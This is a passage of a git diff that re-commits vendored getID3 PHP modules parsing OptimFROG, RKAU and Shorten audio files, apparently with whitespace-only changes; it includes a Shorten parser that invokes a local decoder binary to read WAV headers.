$COMPdata['raw']['encoder_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); + $COMPdata['encoder'] = $this->OptimFROGencoderNameLookup($COMPdata['raw']['encoder_id']); + $offset += 2; + + } + + if ($COMPdata['crc_32'] == 0x454E4F4E) { + // ASCII value of 'NONE' - placeholder value in v4.50a + $COMPdata['crc_32'] = false; + } + + $thisfile_ofr_thisblock[] = $COMPdata; + break; + + case 'HEAD': + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + $RIFFdata .= $this->fread($BlockSize); + break; + + case 'TAIL': + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + if ($BlockSize > 0) { + $RIFFdata .= $this->fread($BlockSize); + } + break; + + case 'RECV': + // block contains no useful meta data - simply note and skip + + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + $this->fseek($BlockSize, SEEK_CUR); + break; + + + case 'APET': + // APEtag v2 + + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + $this->warning('APEtag processing inside OptimFROG not supported in this version ('.$this->getid3->version().') of getID3()'); + + $this->fseek($BlockSize, SEEK_CUR); + break; + + + case 'MD5 ': + // APEtag v2 + + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + if ($BlockSize == 16) { + + $thisfile_ofr_thisblock['md5_binary'] = $this->fread($BlockSize); + $thisfile_ofr_thisblock['md5_string'] = getid3_lib::PrintHexBytes($thisfile_ofr_thisblock['md5_binary'], true, false, false); + $info['md5_data_source'] = $thisfile_ofr_thisblock['md5_string']; + + } else { + + $this->warning('Expecting block size of 16 in "MD5 " chunk, found '.$BlockSize.' instead'); + $this->fseek($BlockSize, SEEK_CUR); + + } + break; + + + default: + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + $this->warning('Unhandled OptimFROG block type "'.$BlockName.'" at offset '.$thisfile_ofr_thisblock['offset']); + $this->fseek($BlockSize, SEEK_CUR); + break; + } + } + if (isset($info['ofr']['TAIL']['offset'])) { + $info['avdataend'] = $info['ofr']['TAIL']['offset']; + } + + $info['playtime_seconds'] = (float) $info['ofr']['OFR ']['total_samples'] / ($info['audio']['channels'] * $info['audio']['sample_rate']); + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + // move the data chunk after all other chunks (if any) + // so that the RIFF parser doesn't see EOF when trying + // to skip over the data chunk + $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; + $getid3_temp->info['avdataend'] = $info['avdataend']; + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->ParseRIFFdata($RIFFdata); + $info['riff'] = $getid3_temp->info['riff']; + + unset($getid3_riff, $getid3_temp, $RIFFdata); + + return true; + } + + /** + * @param int $SampleType + * + * @return string|false + */ + public static function OptimFROGsampleTypeLookup($SampleType) { + static $OptimFROGsampleTypeLookup = array( + 0 => 'unsigned int (8-bit)', + 1 => 'signed int (8-bit)', + 2 => 'unsigned int (16-bit)', + 3 => 'signed int (16-bit)', + 4 => 'unsigned int (24-bit)', + 5 => 'signed int (24-bit)', + 6 => 'unsigned int (32-bit)', + 7 => 'signed int (32-bit)', + 8 => 'float 0.24 (32-bit)', + 9 => 'float 16.8 (32-bit)', + 10 => 'float 24.0 (32-bit)' + ); + return (isset($OptimFROGsampleTypeLookup[$SampleType]) ? $OptimFROGsampleTypeLookup[$SampleType] : false); + } + + /** + * @param int $SampleType + * + * @return int|false + */ + public static function OptimFROGbitsPerSampleTypeLookup($SampleType) { + static $OptimFROGbitsPerSampleTypeLookup = array( + 0 => 8, + 1 => 8, + 2 => 16, + 3 => 16, + 4 => 24, + 5 => 24, + 6 => 32, + 7 => 32, + 8 => 32, + 9 => 32, + 10 => 32 + ); + return (isset($OptimFROGbitsPerSampleTypeLookup[$SampleType]) ? $OptimFROGbitsPerSampleTypeLookup[$SampleType] : false); + } + + /** + * @param int $ChannelConfiguration + * + * @return string|false + */ + public static function OptimFROGchannelConfigurationLookup($ChannelConfiguration) { + static $OptimFROGchannelConfigurationLookup = array( + 0 => 'mono', + 1 => 'stereo' + ); + return (isset($OptimFROGchannelConfigurationLookup[$ChannelConfiguration]) ? $OptimFROGchannelConfigurationLookup[$ChannelConfiguration] : false); + } + + /** + * @param int $ChannelConfiguration + * + * @return int|false + */ + public static function OptimFROGchannelConfigNumChannelsLookup($ChannelConfiguration) { + static $OptimFROGchannelConfigNumChannelsLookup = array( + 0 => 1, + 1 => 2 + ); + return (isset($OptimFROGchannelConfigNumChannelsLookup[$ChannelConfiguration]) ? $OptimFROGchannelConfigNumChannelsLookup[$ChannelConfiguration] : false); + } + + + // static function OptimFROGalgorithmNameLookup($AlgorithID) { + // static $OptimFROGalgorithmNameLookup = array(); + // return (isset($OptimFROGalgorithmNameLookup[$AlgorithID]) ? $OptimFROGalgorithmNameLookup[$AlgorithID] : false); + // } + + + /** + * @param int $EncoderID + * + * @return string + */ + public static function OptimFROGencoderNameLookup($EncoderID) { + // version = (encoderID >> 4) + 4500 + // system = encoderID & 0xF + + $EncoderVersion = number_format(((($EncoderID & 0xF0) >> 4) + 4500) / 1000, 3); + $EncoderSystemID = ($EncoderID & 0x0F); + + static $OptimFROGencoderSystemLookup = array( + 0x00 => 'Windows console', + 0x01 => 'Linux console', + 0x0F => 'unknown' + ); + return $EncoderVersion.' ('.(isset($OptimFROGencoderSystemLookup[$EncoderSystemID]) ? $OptimFROGencoderSystemLookup[$EncoderSystemID] : 'undefined encoder type (0x'.dechex($EncoderSystemID).')').')'; + } + + /** + * @param int $CompressionID + * + * @return string + */ + public static function OptimFROGcompressionLookup($CompressionID) { + // mode = compression >> 3 + // speedup = compression & 0x07 + + $CompressionModeID = ($CompressionID & 0xF8) >> 3; + //$CompressionSpeedupID = ($CompressionID & 0x07); + + static $OptimFROGencoderModeLookup = array( + 0x00 => 'fast', + 0x01 => 'normal', + 0x02 => 'high', + 0x03 => 'extra', // extranew (some versions) + 0x04 => 'best', // bestnew (some versions) + 0x05 => 'ultra', + 0x06 => 'insane', + 0x07 => 'highnew', + 0x08 => 'extranew', + 0x09 => 'bestnew' + ); + return (isset($OptimFROGencoderModeLookup[$CompressionModeID]) ? $OptimFROGencoderModeLookup[$CompressionModeID] : 'undefined mode (0x'.str_pad(dechex($CompressionModeID), 2, '0', STR_PAD_LEFT).')'); + } + + /** + * @param int $CompressionID + * + * @return string + */ + public static function OptimFROGspeedupLookup($CompressionID) { + // mode = compression >> 3 + // speedup = compression & 0x07 + + //$CompressionModeID = ($CompressionID & 0xF8) >> 3; + $CompressionSpeedupID = ($CompressionID & 0x07); + + static $OptimFROGencoderSpeedupLookup = array( + 0x00 => '1x', + 0x01 => '2x', + 0x02 => '4x' + ); + return (isset($OptimFROGencoderSpeedupLookup[$CompressionSpeedupID]) ? $OptimFROGencoderSpeedupLookup[$CompressionSpeedupID] : 'undefined mode (0x'.dechex($CompressionSpeedupID)); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.rkau.php b/vendor/james-heinrich/getid3/getid3/module.audio.rkau.php index 1c0bd49d4a..8bbacd4356 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.rkau.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.rkau.php @@ -1,102 +1,102 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.shorten.php // -// module for analyzing Shorten Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_rkau extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $RKAUHeader = $this->fread(20); - $magic = 'RKA'; - if (substr($RKAUHeader, 0, 3) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($RKAUHeader, 0, 3)).'"'); - return false; - } - - $info['fileformat'] = 'rkau'; - $info['audio']['dataformat'] = 'rkau'; - $info['audio']['bitrate_mode'] = 'vbr'; - - $info['rkau']['raw']['version'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 3, 1)); - $info['rkau']['version'] = '1.'.str_pad($info['rkau']['raw']['version'] & 0x0F, 2, '0', STR_PAD_LEFT); - if (($info['rkau']['version'] > 1.07) || ($info['rkau']['version'] < 1.06)) { - $this->error('This version of getID3() ['.$this->getid3->version().'] can only parse RKAU files v1.06 and 1.07 (this file is v'.$info['rkau']['version'].')'); - unset($info['rkau']); - return false; - } - - $info['rkau']['source_bytes'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 4, 4)); - $info['rkau']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 8, 4)); - $info['rkau']['channels'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 12, 1)); - $info['rkau']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 13, 1)); - - $info['rkau']['raw']['quality'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 14, 1)); - $this->RKAUqualityLookup($info['rkau']); - - $info['rkau']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 15, 1)); - $info['rkau']['flags']['joint_stereo'] = !($info['rkau']['raw']['flags'] & 0x01); - $info['rkau']['flags']['streaming'] = (bool) ($info['rkau']['raw']['flags'] & 0x02); - $info['rkau']['flags']['vrq_lossy_mode'] = (bool) ($info['rkau']['raw']['flags'] & 0x04); - - if ($info['rkau']['flags']['streaming']) { - $info['avdataoffset'] += 20; - $info['rkau']['compressed_bytes'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 16, 4)); - } else { - $info['avdataoffset'] += 16; - $info['rkau']['compressed_bytes'] = $info['avdataend'] - $info['avdataoffset'] - 1; - } - // Note: compressed_bytes does not always equal what appears to be the actual number of compressed bytes, - // sometimes it's more, sometimes less. No idea why(?) - - $info['audio']['lossless'] = $info['rkau']['lossless']; - $info['audio']['channels'] = $info['rkau']['channels']; - $info['audio']['bits_per_sample'] = $info['rkau']['bits_per_sample']; - $info['audio']['sample_rate'] = $info['rkau']['sample_rate']; - - $info['playtime_seconds'] = $info['rkau']['source_bytes'] / ($info['rkau']['sample_rate'] * $info['rkau']['channels'] * ($info['rkau']['bits_per_sample'] / 8)); - $info['audio']['bitrate'] = ($info['rkau']['compressed_bytes'] * 8) / $info['playtime_seconds']; - - return true; - - } - - /** - * @param array $RKAUdata - * - * @return bool - */ - public function RKAUqualityLookup(&$RKAUdata) { - $level = ($RKAUdata['raw']['quality'] & 0xF0) >> 4; - $quality = $RKAUdata['raw']['quality'] & 0x0F; - - $RKAUdata['lossless'] = (($quality == 0) ? true : false); - $RKAUdata['compression_level'] = $level + 1; - if (!$RKAUdata['lossless']) { - $RKAUdata['quality_setting'] = $quality; - } - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.shorten.php // +// module for analyzing Shorten Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_rkau extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $RKAUHeader = $this->fread(20); + $magic = 'RKA'; + if (substr($RKAUHeader, 0, 3) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($RKAUHeader, 0, 3)).'"'); + return false; + } + + $info['fileformat'] = 'rkau'; + $info['audio']['dataformat'] = 'rkau'; + $info['audio']['bitrate_mode'] = 'vbr'; + + $info['rkau']['raw']['version'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 3, 1)); + $info['rkau']['version'] = '1.'.str_pad($info['rkau']['raw']['version'] & 0x0F, 2, '0', STR_PAD_LEFT); + if (($info['rkau']['version'] > 1.07) || ($info['rkau']['version'] < 1.06)) { + $this->error('This version of getID3() ['.$this->getid3->version().'] can only parse RKAU files v1.06 and 1.07 (this file is v'.$info['rkau']['version'].')'); + unset($info['rkau']); + return false; + } + + $info['rkau']['source_bytes'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 4, 4)); + $info['rkau']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 8, 4)); + $info['rkau']['channels'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 12, 1)); + $info['rkau']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 13, 1)); + + $info['rkau']['raw']['quality'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 14, 1)); + $this->RKAUqualityLookup($info['rkau']); + + $info['rkau']['raw']['flags'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 15, 1)); + $info['rkau']['flags']['joint_stereo'] = !($info['rkau']['raw']['flags'] & 0x01); + $info['rkau']['flags']['streaming'] = (bool) ($info['rkau']['raw']['flags'] & 0x02); + $info['rkau']['flags']['vrq_lossy_mode'] = (bool) ($info['rkau']['raw']['flags'] & 0x04); + + if ($info['rkau']['flags']['streaming']) { + $info['avdataoffset'] += 20; + $info['rkau']['compressed_bytes'] = getid3_lib::LittleEndian2Int(substr($RKAUHeader, 16, 4)); + } else { + $info['avdataoffset'] += 16; + $info['rkau']['compressed_bytes'] = $info['avdataend'] - $info['avdataoffset'] - 1; + } + // Note: compressed_bytes does not always equal what appears to be the actual number of compressed bytes, + // sometimes it's more, sometimes less. No idea why(?) + + $info['audio']['lossless'] = $info['rkau']['lossless']; + $info['audio']['channels'] = $info['rkau']['channels']; + $info['audio']['bits_per_sample'] = $info['rkau']['bits_per_sample']; + $info['audio']['sample_rate'] = $info['rkau']['sample_rate']; + + $info['playtime_seconds'] = $info['rkau']['source_bytes'] / ($info['rkau']['sample_rate'] * $info['rkau']['channels'] * ($info['rkau']['bits_per_sample'] / 8)); + $info['audio']['bitrate'] = ($info['rkau']['compressed_bytes'] * 8) / $info['playtime_seconds']; + + return true; + + } + + /** + * @param array $RKAUdata + * + * @return bool + */ + public function RKAUqualityLookup(&$RKAUdata) { + $level = ($RKAUdata['raw']['quality'] & 0xF0) >> 4; + $quality = $RKAUdata['raw']['quality'] & 0x0F; + + $RKAUdata['lossless'] = (($quality == 0) ? true : false); + $RKAUdata['compression_level'] = $level + 1; + if (!$RKAUdata['lossless']) { + $RKAUdata['quality_setting'] = $quality; + } + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.shorten.php b/vendor/james-heinrich/getid3/getid3/module.audio.shorten.php index 9889480885..673a485856 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.shorten.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.shorten.php @@ -1,190 +1,190 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.shorten.php // -// module for analyzing Shorten Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_shorten extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - - $ShortenHeader = $this->fread(8); - $magic = 'ajkg'; - if (substr($ShortenHeader, 0, 4) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($ShortenHeader, 0, 4)).'"'); - return false; - } - $info['fileformat'] = 'shn'; - $info['audio']['dataformat'] = 'shn'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'vbr'; - - $info['shn']['version'] = getid3_lib::LittleEndian2Int(substr($ShortenHeader, 4, 1)); - - $this->fseek($info['avdataend'] - 12); - $SeekTableSignatureTest = $this->fread(12); - $info['shn']['seektable']['present'] = substr($SeekTableSignatureTest, 4, 8) == 'SHNAMPSK'; - if ($info['shn']['seektable']['present']) { - $info['shn']['seektable']['length'] = getid3_lib::LittleEndian2Int(substr($SeekTableSignatureTest, 0, 4)); - $info['shn']['seektable']['offset'] = $info['avdataend'] - $info['shn']['seektable']['length']; - $this->fseek($info['shn']['seektable']['offset']); - $SeekTableMagic = $this->fread(4); - $magic = 'SEEK'; - if ($SeekTableMagic != $magic) { - - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['shn']['seektable']['offset'].', found "'.getid3_lib::PrintHexBytes($SeekTableMagic).'"'); - return false; - - } else { - - // typedef struct tag_TSeekEntry - // { - // unsigned long SampleNumber; - // unsigned long SHNFileByteOffset; - // unsigned long SHNLastBufferReadPosition; - // unsigned short SHNByteGet; - // unsigned short SHNBufferOffset; - // unsigned short SHNFileBitOffset; - // unsigned long SHNGBuffer; - // unsigned short SHNBitShift; - // long CBuf0[3]; - // long CBuf1[3]; - // long Offset0[4]; - // long Offset1[4]; - // }TSeekEntry; - - $SeekTableData = $this->fread($info['shn']['seektable']['length'] - 16); - $info['shn']['seektable']['entry_count'] = floor(strlen($SeekTableData) / 80); - //$info['shn']['seektable']['entries'] = array(); - //$SeekTableOffset = 0; - //for ($i = 0; $i < $info['shn']['seektable']['entry_count']; $i++) { - // $SeekTableEntry['sample_number'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // $SeekTableEntry['shn_file_byte_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // $SeekTableEntry['shn_last_buffer_read_position'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // $SeekTableEntry['shn_byte_get'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); - // $SeekTableOffset += 2; - // $SeekTableEntry['shn_buffer_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); - // $SeekTableOffset += 2; - // $SeekTableEntry['shn_file_bit_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); - // $SeekTableOffset += 2; - // $SeekTableEntry['shn_gbuffer'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // $SeekTableEntry['shn_bit_shift'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); - // $SeekTableOffset += 2; - // for ($j = 0; $j < 3; $j++) { - // $SeekTableEntry['cbuf0'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // } - // for ($j = 0; $j < 3; $j++) { - // $SeekTableEntry['cbuf1'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // } - // for ($j = 0; $j < 4; $j++) { - // $SeekTableEntry['offset0'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // } - // for ($j = 0; $j < 4; $j++) { - // $SeekTableEntry['offset1'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); - // $SeekTableOffset += 4; - // } - // - // $info['shn']['seektable']['entries'][] = $SeekTableEntry; - //} - - } - - } - - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - $this->error('PHP running in Safe Mode - backtick operator not available, cannot run shntool to analyze Shorten files'); - return false; - } - - if (GETID3_OS_ISWINDOWS) { - - $RequiredFiles = array('shorten.exe', 'cygwin1.dll', 'head.exe'); - foreach ($RequiredFiles as $required_file) { - if (!is_readable(GETID3_HELPERAPPSDIR.$required_file)) { - $this->error(GETID3_HELPERAPPSDIR.$required_file.' does not exist'); - return false; - } - } - $commandline = GETID3_HELPERAPPSDIR.'shorten.exe -x "'.$info['filenamepath'].'" - | '.GETID3_HELPERAPPSDIR.'head.exe -c 64'; - $commandline = str_replace('/', '\\', $commandline); - - } else { - - static $shorten_present; - if (!isset($shorten_present)) { - $shorten_present = file_exists('/usr/local/bin/shorten') || `which shorten`; - } - if (!$shorten_present) { - $this->error('shorten binary was not found in path or /usr/local/bin'); - return false; - } - $commandline = (file_exists('/usr/local/bin/shorten') ? '/usr/local/bin/' : '' ) . 'shorten -x '.escapeshellarg($info['filenamepath']).' - | head -c 64'; - - } - - $output = `$commandline`; - - if (!empty($output) && (substr($output, 12, 4) == 'fmt ')) { - - if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; - } - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - - $fmt_size = getid3_lib::LittleEndian2Int(substr($output, 16, 4)); - $DecodedWAVFORMATEX = getid3_riff::parseWAVEFORMATex(substr($output, 20, $fmt_size)); - $info['audio']['channels'] = $DecodedWAVFORMATEX['channels']; - $info['audio']['bits_per_sample'] = $DecodedWAVFORMATEX['bits_per_sample']; - $info['audio']['sample_rate'] = $DecodedWAVFORMATEX['sample_rate']; - - if (substr($output, 20 + $fmt_size, 4) == 'data') { - - $info['playtime_seconds'] = getid3_lib::LittleEndian2Int(substr($output, 20 + 4 + $fmt_size, 4)) / $DecodedWAVFORMATEX['raw']['nAvgBytesPerSec']; - - } else { - - $this->error('shorten failed to decode DATA chunk to expected location, cannot determine playtime'); - return false; - - } - - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8; - - } else { - - $this->error('shorten failed to decode file to WAV for parsing'); - return false; - - } - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.shorten.php // +// module for analyzing Shorten Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_shorten extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + + $ShortenHeader = $this->fread(8); + $magic = 'ajkg'; + if (substr($ShortenHeader, 0, 4) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($ShortenHeader, 0, 4)).'"'); + return false; + } + $info['fileformat'] = 'shn'; + $info['audio']['dataformat'] = 'shn'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'vbr'; + + $info['shn']['version'] = getid3_lib::LittleEndian2Int(substr($ShortenHeader, 4, 1)); + + $this->fseek($info['avdataend'] - 12); + $SeekTableSignatureTest = $this->fread(12); + $info['shn']['seektable']['present'] = substr($SeekTableSignatureTest, 4, 8) == 'SHNAMPSK'; + if ($info['shn']['seektable']['present']) { + $info['shn']['seektable']['length'] = getid3_lib::LittleEndian2Int(substr($SeekTableSignatureTest, 0, 4)); + $info['shn']['seektable']['offset'] = $info['avdataend'] - $info['shn']['seektable']['length']; + $this->fseek($info['shn']['seektable']['offset']); + $SeekTableMagic = $this->fread(4); + $magic = 'SEEK'; + if ($SeekTableMagic != $magic) { + + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['shn']['seektable']['offset'].', found "'.getid3_lib::PrintHexBytes($SeekTableMagic).'"'); + return false; + + } else { + + // typedef struct tag_TSeekEntry + // { + // unsigned long SampleNumber; + // unsigned long SHNFileByteOffset; + // unsigned long SHNLastBufferReadPosition; + // unsigned short SHNByteGet; + // unsigned short SHNBufferOffset; + // unsigned short SHNFileBitOffset; + // unsigned long SHNGBuffer; + // unsigned short SHNBitShift; + // long CBuf0[3]; + // long CBuf1[3]; + // long Offset0[4]; + // long Offset1[4]; + // }TSeekEntry; + + $SeekTableData = $this->fread($info['shn']['seektable']['length'] - 16); + $info['shn']['seektable']['entry_count'] = floor(strlen($SeekTableData) / 80); + //$info['shn']['seektable']['entries'] = array(); + //$SeekTableOffset = 0; + //for ($i = 0; $i < $info['shn']['seektable']['entry_count']; $i++) { + // $SeekTableEntry['sample_number'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // $SeekTableEntry['shn_file_byte_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // $SeekTableEntry['shn_last_buffer_read_position'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // $SeekTableEntry['shn_byte_get'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); + // $SeekTableOffset += 2; + // $SeekTableEntry['shn_buffer_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); + // $SeekTableOffset += 2; + // $SeekTableEntry['shn_file_bit_offset'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); + // $SeekTableOffset += 2; + // $SeekTableEntry['shn_gbuffer'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // $SeekTableEntry['shn_bit_shift'] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 2)); + // $SeekTableOffset += 2; + // for ($j = 0; $j < 3; $j++) { + // $SeekTableEntry['cbuf0'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // } + // for ($j = 0; $j < 3; $j++) { + // $SeekTableEntry['cbuf1'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // } + // for ($j = 0; $j < 4; $j++) { + // $SeekTableEntry['offset0'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // } + // for ($j = 0; $j < 4; $j++) { + // $SeekTableEntry['offset1'][$j] = getid3_lib::LittleEndian2Int(substr($SeekTableData, $SeekTableOffset, 4)); + // $SeekTableOffset += 4; + // } + // + // $info['shn']['seektable']['entries'][] = $SeekTableEntry; + //} + + } + + } + + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + $this->error('PHP running in Safe Mode - backtick operator not available, cannot run shntool to analyze Shorten files'); + return false; + } + + if (GETID3_OS_ISWINDOWS) { + + $RequiredFiles = array('shorten.exe', 'cygwin1.dll', 'head.exe'); + foreach ($RequiredFiles as $required_file) { + if (!is_readable(GETID3_HELPERAPPSDIR.$required_file)) { + $this->error(GETID3_HELPERAPPSDIR.$required_file.' does not exist'); + return false; + } + } + $commandline = GETID3_HELPERAPPSDIR.'shorten.exe -x "'.$info['filenamepath'].'" - | '.GETID3_HELPERAPPSDIR.'head.exe -c 64'; + $commandline = str_replace('/', '\\', $commandline); + + } else { + + static $shorten_present; + if (!isset($shorten_present)) { + $shorten_present = file_exists('/usr/local/bin/shorten') || `which shorten`; + } + if (!$shorten_present) { + $this->error('shorten binary was not found in path or /usr/local/bin'); + return false; + } + $commandline = (file_exists('/usr/local/bin/shorten') ? '/usr/local/bin/' : '' ) . 'shorten -x '.escapeshellarg($info['filenamepath']).' - | head -c 64'; + + } + + $output = `$commandline`; + + if (!empty($output) && (substr($output, 12, 4) == 'fmt ')) { + + if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; + } + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + + $fmt_size = getid3_lib::LittleEndian2Int(substr($output, 16, 4)); + $DecodedWAVFORMATEX = getid3_riff::parseWAVEFORMATex(substr($output, 20, $fmt_size)); + $info['audio']['channels'] = $DecodedWAVFORMATEX['channels']; + $info['audio']['bits_per_sample'] = $DecodedWAVFORMATEX['bits_per_sample']; + $info['audio']['sample_rate'] = $DecodedWAVFORMATEX['sample_rate']; + + if (substr($output, 20 + $fmt_size, 4) == 'data') { + + $info['playtime_seconds'] = getid3_lib::LittleEndian2Int(substr($output, 20 + 4 + $fmt_size, 4)) / $DecodedWAVFORMATEX['raw']['nAvgBytesPerSec']; + + } else { + + $this->error('shorten failed to decode DATA chunk to expected location, cannot determine playtime'); + return false; + + } + + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8; + + } else { + + $this->error('shorten failed to decode file to 